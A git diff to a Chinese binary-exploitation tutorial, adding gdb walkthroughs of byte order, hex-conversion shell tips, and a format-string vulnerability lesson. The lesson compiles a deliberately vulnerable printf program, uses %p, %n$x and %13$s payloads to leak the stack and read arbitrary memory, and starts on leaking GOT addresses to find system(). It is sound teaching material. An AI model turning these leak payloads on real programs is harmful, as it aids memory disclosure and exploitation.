diff --git a/doc/1.3_linux_basic.md b/doc/1.3_linux_basic.md index 48bae6a..fcb4bef 100644 --- a/doc/1.3_linux_basic.md +++ b/doc/1.3_linux_basic.md @@ -167,6 +167,32 @@ Big-endian 规定 MSB 在存储时放在低地址,在传输时放在流的开 ![](../pic/1.3_byte_order.png) +我们在内存中实际地看一下,在地址 `0xffffd584` 处有字符 `1234`,在地址 `0xffffd588` 处有字符 `5678`。 +```text +gdb-peda$ x/w 0xffffd584 +0xffffd584: 0x34333231 +gdb-peda$ x/4wb 0xffffd584 +0xffffd584: 0x31 0x32 0x33 0x34 +gdb-peda$ python print('\x31\x32\x33\x34') +1234 + +gdb-peda$ x/w 0xffffd588 +0xffffd588: 0x38373635 +gdb-peda$ x/4wb 0xffffd588 +0xffffd588: 0x35 0x36 0x37 0x38 +gdb-peda$ python print('\x35\x36\x37\x38') +5678 + +gdb-peda$ x/2w 0xffffd584 +0xffffd584: 0x34333231 0x38373635 +gdb-peda$ x/8wb 0xffffd584 +0xffffd584: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 +gdb-peda$ python print('\x31\x32\x33\x34\x35\x35\x36\x37\x38') +123455678 +db-peda$ x/s 0xffffd584 +0xffffd584: "12345678" +``` + ## 输入输出 - 使用命令的输出作为可执行文件的输入参数 diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 42e921a..d7fd466 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -295,161 +295,363 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") ```c #include void main() { - char format[32]; + char format[128]; int arg1 = 1, arg2 = 0x88888888, arg3 = -1; + char arg4[10] = "ABCD"; scanf("%s", format); - printf(format, arg1, arg2, arg3); + printf(format, arg1, arg2, arg3, arg4); printf("\n"); } ``` -我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。 +``` +$ gcc -m32 -fno-stack-protector -no-pie fmt.c +``` + +我们先输入 `b main` 设置断点,使用 `n` 往下执行,在 `call 0x56555460 <__isoc99_scanf@plt>` 处输入 `%08x.%08x.%08x.%08x.%08x`,然后使用 `c` 继续执行,即可输出结果。 ```text gdb-peda$ n [----------------------------------registers-----------------------------------] -EAX: 0xffffd5d4 ("%08x.%08x.%08x.%08x") +EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 -EBP: 0xffffd608 --> 0x0 -ESP: 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x") -EIP: 0x56555612 (: call 0x56555430 ) -EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +EBP: 0xffffd618 --> 0x0 +ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") +EIP: 0x56555642 (: call 0x56555430 ) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x5655560b : push DWORD PTR [ebp-0xc] - 0x5655560e : lea eax,[ebp-0x34] - 0x56555611 : push eax -=> 0x56555612 : call 0x56555430 - 0x56555617 : add esp,0x10 - 0x5655561a : sub esp,0xc - 0x5655561d : push 0xa - 0x5655561f : call 0x56555450 + 0x56555638 : push DWORD PTR [ebp-0xc] + 0x5655563b : lea eax,[ebp-0x94] + 0x56555641 : push eax +=> 0x56555642 : call 0x56555430 + 0x56555647 : add esp,0x20 + 0x5655564a : sub esp,0xc + 0x5655564d : push 0xa + 0x5655564f : call 0x56555450 Guessed arguments: -arg[0]: 0xffffd5d4 ("%08x.%08x.%08x.%08x") +arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff +arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] -0000| 0xffffd5c0 --> 0xffffd5d4 ("%08x.%08x.%08x.%08x") -0004| 0xffffd5c4 --> 0x1 -0008| 0xffffd5c8 --> 0x88888888 -0012| 0xffffd5cc --> 0xffffffff -0016| 0xffffd5d0 --> 0x8000 -0020| 0xffffd5d4 ("%08x.%08x.%08x.%08x") -0024| 0xffffd5d8 (".%08x.%08x.%08x") -0028| 0xffffd5dc ("x.%08x.%08x") +0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff +0016| 0xffffd560 --> 0xffffd57a ("ABCD") +0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x") +0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") +0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value -0x56555612 in main () +0x56555642 in main () +gdb-peda$ x/10x $esp +0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff +0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 +0xffffd570: 0xf7ffda54 0x00000001 gdb-peda$ c Continuing. -00000001.88888888.ffffffff.00008000 -[Inferior 1 (process 31270) exited with code 012] +00000001.88888888.ffffffff.ffffd57a.ffffd584 ``` -格式化字符串 `0xffffd5d4` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3` 之前。格式字符串 `%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 4 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。 +格式化字符串 `0xffffd584` 的地址出现在内存中的位置恰好位于参数 `arg1`、`arg2`、`arg3`、`arg4` 之前。格式字符串 `%08x.%08x.%08x.%08x.%08x` 表示函数 `printf()` 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(`arg1`)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,`printf()` 将显示当前执行函数的栈帧(包括返回地址和参数等)。 -当然也可以使用 `%p.%p.%p.%p` 得到相似的结果。 +当然也可以使用 `%p.%p.%p.%p.%p` 得到相似的结果。 ``` gdb-peda$ n [----------------------------------registers-----------------------------------] -EAX: 0xffffd5d4 ("%p.%p.%p.%p") +EAX: 0xffffd584 ("%p.%p.%p.%p.%p") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 -EBP: 0xffffd608 --> 0x0 -ESP: 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p") -EIP: 0x56555612 (: call 0x56555430 ) -EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +EBP: 0xffffd618 --> 0x0 +ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") +EIP: 0x56555642 (: call 0x56555430 ) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x5655560b : push DWORD PTR [ebp-0xc] - 0x5655560e : lea eax,[ebp-0x34] - 0x56555611 : push eax -=> 0x56555612 : call 0x56555430 - 0x56555617 : add esp,0x10 - 0x5655561a : sub esp,0xc - 0x5655561d : push 0xa - 0x5655561f : call 0x56555450 + 0x56555638 : push DWORD PTR [ebp-0xc] + 0x5655563b : lea eax,[ebp-0x94] + 0x56555641 : push eax +=> 0x56555642 : call 0x56555430 + 0x56555647 : add esp,0x20 + 0x5655564a : sub esp,0xc + 0x5655564d : push 0xa + 0x5655564f : call 0x56555450 Guessed arguments: -arg[0]: 0xffffd5d4 ("%p.%p.%p.%p") +arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff +arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] -0000| 0xffffd5c0 --> 0xffffd5d4 ("%p.%p.%p.%p") -0004| 0xffffd5c4 --> 0x1 -0008| 0xffffd5c8 --> 0x88888888 -0012| 0xffffd5cc --> 0xffffffff -0016| 0xffffd5d0 --> 0x8000 -0020| 0xffffd5d4 ("%p.%p.%p.%p") -0024| 0xffffd5d8 ("p.%p.%p") -0028| 0xffffd5dc --> 0x70252e ('.%p') +0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p") +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff +0016| 0xffffd560 --> 0xffffd57a ("ABCD") +0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p") +0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") +0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value -0x56555612 in main () +0x56555642 in main () gdb-peda$ c Continuing. -0x1.0x88888888.0xffffffff.0x8000 -[Inferior 1 (process 31309) exited with code 012] +0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584 ``` 上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串: ``` +%$ + %n$x ``` 这里的 `n` 表示栈中格式字符串后面的第 `n` 个值。 ``` -db-peda$ n +gdb-peda$ n [----------------------------------registers-----------------------------------] -EAX: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") +EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") EBX: 0x56557000 --> 0x1efc ECX: 0x1 EDX: 0xf7f9883c --> 0x0 ESI: 0xf7f96e68 --> 0x1bad90 EDI: 0x0 -EBP: 0xffffd608 --> 0x0 -ESP: 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") -EIP: 0x56555612 (: call 0x56555430 ) -EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) +EBP: 0xffffd618 --> 0x0 +ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") +EIP: 0x56555642 (: call 0x56555430 ) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] - 0x5655560b : push DWORD PTR [ebp-0xc] - 0x5655560e : lea eax,[ebp-0x34] - 0x56555611 : push eax -=> 0x56555612 : call 0x56555430 - 0x56555617 : add esp,0x10 - 0x5655561a : sub esp,0xc - 0x5655561d : push 0xa - 0x5655561f : call 0x56555450 + 0x56555638 : push DWORD PTR [ebp-0xc] + 0x5655563b : lea eax,[ebp-0x94] + 0x56555641 : push eax +=> 0x56555642 : call 0x56555430 + 0x56555647 : add esp,0x20 + 0x5655564a : sub esp,0xc + 0x5655564d : push 0xa + 0x5655564f : call 0x56555450 Guessed arguments: -arg[0]: 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") +arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") arg[1]: 0x1 arg[2]: 0x88888888 arg[3]: 0xffffffff +arg[4]: 0xffffd57a ("ABCD") [------------------------------------stack-------------------------------------] -0000| 0xffffd5c0 --> 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") -0004| 0xffffd5c4 --> 0x1 -0008| 0xffffd5c8 --> 0x88888888 -0012| 0xffffd5cc --> 0xffffffff -0016| 0xffffd5d0 --> 0x8000 -0020| 0xffffd5d4 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p") -0024| 0xffffd5d8 (".%1$08x.%2$p.%2$p.%4$p.%5$p") -0028| 0xffffd5dc ("08x.%2$p.%2$p.%4$p.%5$p") +0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff +0016| 0xffffd560 --> 0xffffd57a ("ABCD") +0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p") +0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") +0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) [------------------------------------------------------------------------------] Legend: code, data, rodata, value -0x56555612 in main () +0x56555642 in main () gdb-peda$ x/10w $esp -0xffffd5c0: 0xffffd5d4 0x00000001 0x88888888 0xffffffff -0xffffd5d0: 0x00008000 0x78243325 0x2431252e 0x2e783830 -0xffffd5e0: 0x70243225 0x2432252e +0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff +0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 +0xffffd570: 0xf7ffda54 0x00000001 gdb-peda$ c Continuing. -ffffffff.00000001.0x88888888.0x88888888.0x8000.0x78243325 +ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220 ``` -这里,格式字符串的地址为 `0xffffd5d4`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`,和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。 +这里,格式字符串的地址为 `0xffffd584`。我们通过格式字符串 `%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p` 分别获取了 `arg3`、`arg1`、两个 `arg2`、`arg4` 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。 #### 查看任意地址的内存 +攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 `%s` 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 `%s` 就会输出该位置的内存内容。 + +还是上面的程序,我们输入 `%4$s`,输出的 `arg4` 就变成了 `ABCD` 而不是地址 `0xffffd57a`: +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd584 ("%4$s") +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 +ESP: 0xffffd550 --> 0xffffd584 ("%4$s") +EIP: 0x56555642 (: call 0x56555430 ) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x56555638 : push DWORD PTR [ebp-0xc] + 0x5655563b : lea eax,[ebp-0x94] + 0x56555641 : push eax +=> 0x56555642 : call 0x56555430 + 0x56555647 : add esp,0x20 + 0x5655564a : sub esp,0xc + 0x5655564d : push 0xa + 0x5655564f : call 0x56555450 +Guessed arguments: +arg[0]: 0xffffd584 ("%4$s") +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff +arg[4]: 0xffffd57a ("ABCD") +[------------------------------------stack-------------------------------------] +0000| 0xffffd550 --> 0xffffd584 ("%4$s") +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff +0016| 0xffffd560 --> 0xffffd57a ("ABCD") +0020| 0xffffd564 --> 0xffffd584 ("%4$s") +0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") +0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x56555642 in main () +gdb-peda$ c +Continuing. +ABCD +``` + +上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 `AAAA.%p` 这样的格式的字符串,观察一下栈有什么变化。 +``` +gdb-peda$ python print("AAAA"+".%p"*20) +AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p +... +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +EBX: 0x56557000 --> 0x1efc +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 +ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +EIP: 0x56555642 (: call 0x56555430 ) +EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x56555638 : push DWORD PTR [ebp-0xc] + 0x5655563b : lea eax,[ebp-0x94] + 0x56555641 : push eax +=> 0x56555642 : call 0x56555430 + 0x56555647 : add esp,0x20 + 0x5655564a : sub esp,0xc + 0x5655564d : push 0xa + 0x5655564f : call 0x56555450 +Guessed arguments: +arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +arg[1]: 0x1 +arg[2]: 0x88888888 +arg[3]: 0xffffffff +arg[4]: 0xffffd57a ("ABCD") +[------------------------------------stack-------------------------------------] +0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +0004| 0xffffd554 --> 0x1 +0008| 0xffffd558 --> 0x88888888 +0012| 0xffffd55c --> 0xffffffff +0016| 0xffffd560 --> 0xffffd57a ("ABCD") +0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001") +0028| 0xffffd56c --> 0x565555d7 (: add ebx,0x1a29) +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x56555642 in main () +``` +格式字符串的地址在 `0xffffd584`,从下面的输出中可以看到它们在栈中是怎样排布的: +``` +gdb-peda$ x/20w $esp +0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff +0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7 +0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443 +0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025 +0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70 +gdb-peda$ x/20wb 0xffffd584 +0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e +0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70 +0xffffd594: 0x2e 0x25 0x70 0x2e +gdb-peda$ python print('\x2e\x25\x70') +.%p +``` +下面是程序运行的结果: +``` +gdb-peda$ c +Continuing. +AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e +``` +`0x41414141` 是输出的第 13 个字符,所以我们使用 `%13$s` 即可读出 `0x41414141` 处的内容,当然,这里可能是一个不合法的地址。下面我们把 `0x41414141` 换成我们需要的合法的地址,比如字符串 `ABCD` 的地址 `0xffffd57a`: +``` +$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text +$ gdb -q a.out +Reading symbols from a.out...(no debugging symbols found)...done. +gdb-peda$ b printf +Breakpoint 1 at 0x8048350 +gdb-peda$ r < text +Starting program: /home/firmy/Desktop/RE4B/a.out < text +[----------------------------------registers-----------------------------------] +EAX: 0xffffd584 --> 0xffffd57a ("ABCD") +EBX: 0x804a000 --> 0x8049f14 --> 0x1 +ECX: 0x1 +EDX: 0xf7f9883c --> 0x0 +ESI: 0xf7f96e68 --> 0x1bad90 +EDI: 0x0 +EBP: 0xffffd618 --> 0x0 +ESP: 0xffffd54c --> 0x8048520 (: add esp,0x20) +EIP: 0xf7e27c20 (: call 0xf7f06d17 <__x86.get_pc_thunk.ax>) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xf7e27c1b : ret + 0xf7e27c1c: xchg ax,ax + 0xf7e27c1e: xchg ax,ax +=> 0xf7e27c20 : call 0xf7f06d17 <__x86.get_pc_thunk.ax> + 0xf7e27c25 : add eax,0x16f243 + 0xf7e27c2a : sub esp,0xc + 0xf7e27c2d : mov eax,DWORD PTR [eax+0x124] + 0xf7e27c33 : lea edx,[esp+0x14] +No argument +[------------------------------------stack-------------------------------------] +0000| 0xffffd54c --> 0x8048520 (: add esp,0x20) +0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD") +0008| 0xffffd554 --> 0x1 +0012| 0xffffd558 --> 0x88888888 +0016| 0xffffd55c --> 0xffffffff +0020| 0xffffd560 --> 0xffffd57a ("ABCD") +0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD") +0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6 +gdb-peda$ x/20w $esp +0xffffd54c: 0x08048520 0xffffd584 0x00000001 0x88888888 +0xffffd55c: 0xffffffff 0xffffd57a 0xffffd584 0x080481fc +0xffffd56c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0 +0xffffd57c: 0x00004443 0x00000000 0xffffd57a 0x3331252e +0xffffd58c: 0x00007324 0xffffd5ca 0x00000001 0x000000c2 +gdb-peda$ x/s 0xffffd57a +0xffffd57a: "ABCD" +gdb-peda$ c +Continuing. +z���.ABCD +``` + +当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 `system()`)。如下面展示的这样: + +先看一下重定向表: +``` +$ readelf -r a.out + +Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries: + Offset Info Type Sym.Value Sym. Name +08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__ + +Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries: + Offset Info Type Sym.Value Sym. Name +0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 +0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 +0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0 +0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7 +``` +`.rel.plt` 中有四个函数可供我们选择,但是这里就有一些技巧了。 + +啊,要到12点了,先push了,打卡要紧,打卡要紧。 #### 覆盖栈内容 diff --git a/doc/4.2_Linux_terminal_tips.md b/doc/4.2_Linux_terminal_tips.md index 9d8c381..021da67 100644 --- a/doc/4.2_Linux_terminal_tips.md +++ b/doc/4.2_Linux_terminal_tips.md @@ -195,6 +195,19 @@ E: . > N ^ n ~ F: / ? O _ o DEL ``` +Hex 转 Char: +```shell +$ echo -e '\x41\x42\x43\x44' +$ printf '\x41\x42\x43\x44' +$ python -c 'print(u"\x41\x42\x43\x44")' +$ perl -e 'print "\x41\x42\x43\x44";' +``` + +Char 转 Hex: +```shell +$ python -c 'print(b"ABCD".hex())' +``` + ## nohup 和 & 用 `nohup` 运行命令可以使命令永久的执行下去,和 Shell 没有关系,而 `&` 表示设置此进程为后台进程。默认情况下,进程是前台进程,这时就把 Shell 给占据了,我们无法进行其他操作,如果我们希望其在后台运行,可以使用 `&` 达到这个目的。